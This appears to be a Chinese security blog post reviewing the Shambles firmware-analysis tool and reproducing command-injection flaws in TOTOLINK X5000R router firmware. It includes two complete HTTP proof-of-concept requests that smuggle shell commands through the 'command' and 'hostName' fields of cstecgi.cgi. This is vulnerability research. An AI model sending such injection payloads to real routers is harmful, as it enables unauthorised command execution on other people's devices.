44maker
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
Shambles初体验&Totolink漏洞
起因
想找一个易上手、好看的UI、现代化的逆向工具,刷B站的时候看到了Shambles这个工具,便尝试使用一下。本篇文章主要介绍shambles上手体验以及Totolink漏洞复现及研究。[ 作者水平有限,如有写错之处恳请指出]
上手体验
获得使用资格之后按照邮箱上的信息和授权码进行登录。[建议在良好的网络环境下使用]
主页面分为本地和云端(上传),本文先介绍上传云端的功能。
点击上传并分析固件
本文所使用的固件信息:
厂商:totollink
型号:X5000R
大小:8.6MB
版本:V9.1.00u.6118
MD5:497788b96788270336160fec37d93660
指令集:MIPS
下载地址: https://www.totolink.net/home/menu/detail/menu_listtpl/download/id/218/ids/36.html
点击生成报告,输入固件信息,[注意只演示如何操作,本文固件已上传完毕,可以在本地文件列表查看]
完成后界面会恢复到上传前的样子,不用担心,点击左上角浏览所有即可看到刚刚上传的固件。
等待解包完成即可
可以看到在云端固件列表中,已经有了分析报告[注意,目前shambles1.2.2版本在解包中可能由于有些字符串比较特殊或者比较多,打包的时候超出内存限制,导致解包出现错误]
486个高危31个中危,1825个低危,点击右侧的克隆至本地即可开始研究工作
点击左侧的本地文件
工作窗口
工作窗口分为4大板块,分别是工具栏,文件树,固件信息(主面板),漏洞列表
同时还能够通过固件相似度可视化,发现相似固件,更方便于查找通杀漏洞
Bindiff固件对比
使用Bindiff功能就能对比两个固件的自动化对比,具体功能可以查看下面的视频进行学习
https://www.bilibili.com/video/BV14V411V7ui/
虚拟机
当然,你还会注意到右侧的漏洞下还有虚拟机
[注:往常都是用QEMU来模拟环境进行测试,如果不知道如何用QEMU模拟环境可以查看这个文章]
https://boschko.ca/qemu-emulating-firmware/
没错!这个shambles还可以模拟固件环境,做到挖洞一站式体验
点击左上角的小箭头,切换到云端模式,再点击同步模拟器,等待ing
具体的操作教程可以观看这个视频
https://www.bilibili.com/video/BV18g4y1j7KX/
挖洞
那么最令人心动的就是漏洞列表板块了,shambles能够自动挖掘潜在漏洞的信息并十分清晰地列出
在右侧可以看到具有命令执行的函数漏洞,双击函数便可以定位,F5可以将汇编代码调整为便于我们阅读的类C语言模式
使用chatgpt3.5也可以进行验证
使用POC进行攻击
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 82
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/advance/traceroute.html?time=1679125513355
Cookie: SESSION_ID=2:1679122532:2
{"command":"127.0.0.1; pwd > /tmp/1.txt;","num":"4","topicurl":"setTracerouteCfg"}
同样再选择一个漏洞
在setOpModeCfg中包含命令插入漏洞,该漏洞允许攻击者通过“hostName”参数执行任意命令
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 90
Origin: http://192.168.0.1
Connection: close
Referer: http://192.168.0.1/advance/time.html?time=1679126798322
Cookie: SESSION_ID=2:1679122532:2
{
"proto":"1",
"hostName":"'; pwd > /tmp/1.txt;' ",
"topicurl":"setOpModeCfg"
}
参考资料:
https://github.com/Kazamayc/vuln/tree/main/TOTOLINK/X5000R/
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)